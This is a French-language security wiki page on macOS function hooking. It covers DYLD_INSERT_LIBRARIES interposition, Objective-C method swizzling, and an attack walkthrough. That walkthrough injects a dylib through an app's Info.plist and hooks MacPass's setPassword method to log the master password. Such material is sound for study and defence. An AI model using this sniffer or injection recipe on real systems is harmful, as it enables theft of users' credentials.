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Markdown

# Hooking de fonctions macOS
<details>
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</details>
## Interposition de fonctions
Créez une **dylib** avec une section **`__interpose`** (ou une section marquée avec **`S_INTERPOSING`**) contenant des tuples de **pointeurs de fonctions** qui se réfèrent aux fonctions **originales** et aux fonctions de **remplacement**.
Ensuite, **injectez** la dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interposition doit se produire avant le chargement de l'application principale). Évidemment, [**les restrictions** appliquées à l'utilisation de **`DYLD_INSERT_LIBRARIES`** s'appliquent également ici](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
### Interposer printf
{% tabs %}
{% tab title="interpose.c" %}
{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{% endcode %}
{% endtab %}
{% tab title="hello.c" %}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
```
{% endtab %}
{% tab title="interpose2.c" %}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{% endtab %}
{% endtabs %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Méthode de Swizzling
En ObjectiveC, voici comment une méthode est appelée : **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
Il faut l'**objet**, la **méthode** et les **paramètres**. Et lorsqu'une méthode est appelée, un **message est envoyé** en utilisant la fonction **`objc_msgSend`** : `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
L'objet est **`someObject`**, la méthode est **`@selector(method1p1:p2:)`** et les arguments sont **value1**, **value2**.
En suivant les structures d'objet, il est possible d'atteindre un **tableau de méthodes** où les **noms** et les **pointeurs** vers le code de la méthode sont **localisés**.
{% hint style="danger" %}
Notez que puisque les méthodes et les classes sont accessibles en fonction de leurs noms, ces informations sont stockées dans le binaire, il est donc possible de les récupérer avec `otool -ov </path/bin>` ou [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
{% endhint %}
### Accéder aux méthodes brutes
Il est possible d'accéder aux informations des méthodes telles que le nom, le nombre de paramètres ou l'adresse comme dans l'exemple suivant :
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### Échange de méthodes avec method\_exchangeImplementations
La fonction **`method_exchangeImplementations`** permet de **changer** l'**adresse** de l'**implémentation** d'**une fonction pour une autre**.
{% hint style="danger" %}
Ainsi, lorsqu'une fonction est appelée, ce qui est **exécuté est l'autre**.
{% endhint %}
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
```
{% hint style="warning" %}
Dans ce cas, si le **code d'implémentation de la méthode légitime** **vérifie** le **nom de la méthode**, il pourrait **détecter** ce swizzling et l'empêcher de s'exécuter.
La technique suivante n'a pas cette restriction.
{% endhint %}
### Swizzling de méthode avec method_setImplementation
Le format précédent est étrange car vous changez l'implémentation de 2 méthodes l'une pour l'autre. En utilisant la fonction **`method_setImplementation`**, vous pouvez **changer** l'**implémentation** d'une **méthode pour une autre**.
N'oubliez pas de **stocker l'adresse de l'implémentation de l'originale** si vous allez l'appeler depuis la nouvelle implémentation avant de l'écraser, car il sera plus compliqué de localiser cette adresse plus tard.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
```
## Méthodologie d'attaque par Hooking
Sur cette page, différentes méthodes pour hooker des fonctions ont été discutées. Cependant, elles impliquent **l'exécution de code à l'intérieur du processus attaqué**.
Pour ce faire, la technique la plus simple à utiliser est d'injecter un [Dyld via des variables d'environnement ou détournement](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Cependant, je suppose que cela pourrait aussi être fait via [Injection de processus Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
Néanmoins, les deux options sont **limitées** aux binaires/processus **non protégés**. Consultez chaque technique pour en savoir plus sur les limitations.
Cependant, une attaque de hooking de fonction est très spécifique, un attaquant fera cela pour **voler des informations sensibles à l'intérieur d'un processus** (sinon, vous feriez juste une attaque d'injection de processus). Et ces informations sensibles pourraient se trouver dans des applications téléchargées par l'utilisateur, telles que MacPass.
Ainsi, le vecteur d'attaque serait soit de trouver une vulnérabilité, soit de retirer la signature de l'application, d'injecter la variable d'environnement **`DYLD_INSERT_LIBRARIES`** à travers le Info.plist de l'application en ajoutant quelque chose comme :
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
et ensuite **réenregistrer** l'application :
{% code overflow="wrap" %}
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
{% endcode %}
Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informations : mots de passe, messages...
{% hint style="danger" %}
Notez que dans les versions plus récentes de macOS, si vous **supprimez la signature** du binaire de l'application et qu'elle a été exécutée auparavant, macOS **n'exécutera plus l'application**.
{% endhint %}
#### Exemple de bibliothèque
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## Références
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
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